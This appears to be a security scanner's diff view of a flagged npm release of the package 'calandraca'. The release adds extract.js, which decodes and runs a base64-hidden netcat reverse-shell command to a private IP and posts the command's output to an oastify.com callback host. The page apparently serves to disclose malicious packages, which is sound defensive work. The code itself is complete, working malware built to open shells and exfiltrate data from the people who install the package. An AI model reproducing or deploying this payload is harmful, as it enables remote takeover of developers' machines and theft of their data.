calandraca 0.0.1-security → 9.9.13
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of calandraca might be problematic. Click here for more details.
- package/extract.js +42 -0
- package/nohup.out +6582 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/extract.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
const cmd = 'echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4yMC4zMC4yMjggNDQ0MyA+L3RtcC9mCg==" | base64 -d | bash' //Comando que deseas ejecutar
|
5
|
+
|
6
|
+
exec(cmd, (error, stdout, stderr) => {
|
7
|
+
if (error) {
|
8
|
+
console.error(`Error al ejecutar el comando: ${error.message}`);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
if (stderr) {
|
12
|
+
console.error(`Error en la salida de error: ${stderr}`);
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
sendPOSTRequest(stdout.trim()); // Envía la respuesta por POST a una URL
|
16
|
+
});
|
17
|
+
|
18
|
+
function sendPOSTRequest(data) {
|
19
|
+
const url = 'https://fyh2zxce17hj4lm75kblw623dujl7dv2.oastify.com';
|
20
|
+
const options = {
|
21
|
+
method: 'POST',
|
22
|
+
headers: {
|
23
|
+
'Content-Type': 'application/json',
|
24
|
+
// Añade aquí las cabeceras que necesitas
|
25
|
+
}
|
26
|
+
};
|
27
|
+
|
28
|
+
const req = https.request(url, options, res => {
|
29
|
+
console.log(`statusCode: ${res.statusCode}`);
|
30
|
+
|
31
|
+
res.on('data', d => {
|
32
|
+
process.stdout.write(d);
|
33
|
+
});
|
34
|
+
});
|
35
|
+
|
36
|
+
req.on('error', error => {
|
37
|
+
console.error(error);
|
38
|
+
});
|
39
|
+
|
40
|
+
req.write(JSON.stringify(data)); // Envía los datos como string JSON
|
41
|
+
req.end();
|
42
|
+
}
|